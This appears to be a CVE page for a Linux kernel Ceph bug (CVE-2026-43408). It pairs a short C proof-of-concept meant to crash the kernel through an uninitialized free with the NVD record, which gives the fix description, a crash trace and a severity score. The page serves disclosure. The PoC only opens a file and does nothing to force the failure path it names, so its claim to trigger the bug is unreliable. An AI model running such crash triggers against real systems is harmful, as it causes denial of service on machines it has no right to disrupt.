CVE-2026-43408

#include <stdio.h> #include <fcntl.h> #include <unistd.h> /* * PoC for CVE-2026-43408 * Triggering the uninitialized ceph_path_info vulnerability. * Requires a mounted Ceph filesystem. */ int main() { const char *target_file = "/mnt/ceph/vulnerable_file"; int fd; // Attempt to open a file on the Ceph mount // This triggers ceph_open -> ceph_mdsc_build_path fd = open(target_file, O_RDONLY | O_CREAT); if (fd < 0) { perror("Failed to open file"); return 1; } // If the kernel is vulnerable and the path build fails internally, // the uninitialized memory free may crash the system here or on close. close(fd); printf("PoC executed. Check kernel logs for crashes.\n"); return 0; }

{"cve": {"id": "CVE-2026-43408", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:52.397", "lastModified": "2026-05-11T08:16:13.580", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: add a bunch of missing ceph_path_info initializers\n\nceph_mdsc_build_path() must be called with a zero-initialized\nceph_path_info parameter, or else the following\nceph_mdsc_free_path_info() may crash.\n\nExample crash (on Linux 6.18.12):\n\n virt_to_cache: Object is not a Slab page!\n WARNING: CPU: 184 PID: 2871736 at mm/slub.c:6732 kmem_cache_free+0x316/0x400\n [...]\n Call Trace:\n [...]\n ceph_open+0x13d/0x3e0\n do_dentry_open+0x134/0x480\n vfs_open+0x2a/0xe0\n path_openat+0x9a3/0x1160\n [...]\n cache_from_obj: Wrong slab cache. names_cache but object is from ceph_inode_info\n WARNING: CPU: 184 PID: 2871736 at mm/slub.c:6746 kmem_cache_free+0x2dd/0x400\n [...]\n kernel BUG at mm/slub.c:634!\n Oops: invalid opcode: 0000 [#1] SMP NOPTI\n RIP: 0010:__slab_free+0x1a4/0x350\n\nSome of the ceph_mdsc_build_path() callers had initializers, but\nothers had not, even though they were all added by commit 15f519e9f883\n(\"ceph: fix race condition validating r_parent before applying state\").\nThe ones without initializer are suspectible to random crashes. (I can\nimagine it could even be possible to exploit this bug to elevate\nprivileges.)\n\nUnfortunately, these Ceph functions are undocumented and its semantics\ncan only be derived from the code. I see that ceph_mdsc_build_path()\ninitializes the structure only on success, but not on error.\n\nCalling ceph_mdsc_free_path_info() after a failed\nceph_mdsc_build_path() call does not even make sense, but that's what\nall callers do, and for it to be safe, the structure must be\nzero-initialized. The least intrusive approach to fix this is\ntherefore to add initializers everywhere."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/43323a5934b660afae687e8e4e95ac328615a5c4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/453df1f4535842bf17ff1885a225e153d7ee3374", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/644b47f0574fd82aeb9d00317eca8d1f2a525c8c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/8be8911f590813e6f90bc6407ced1b23e50bc5da", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}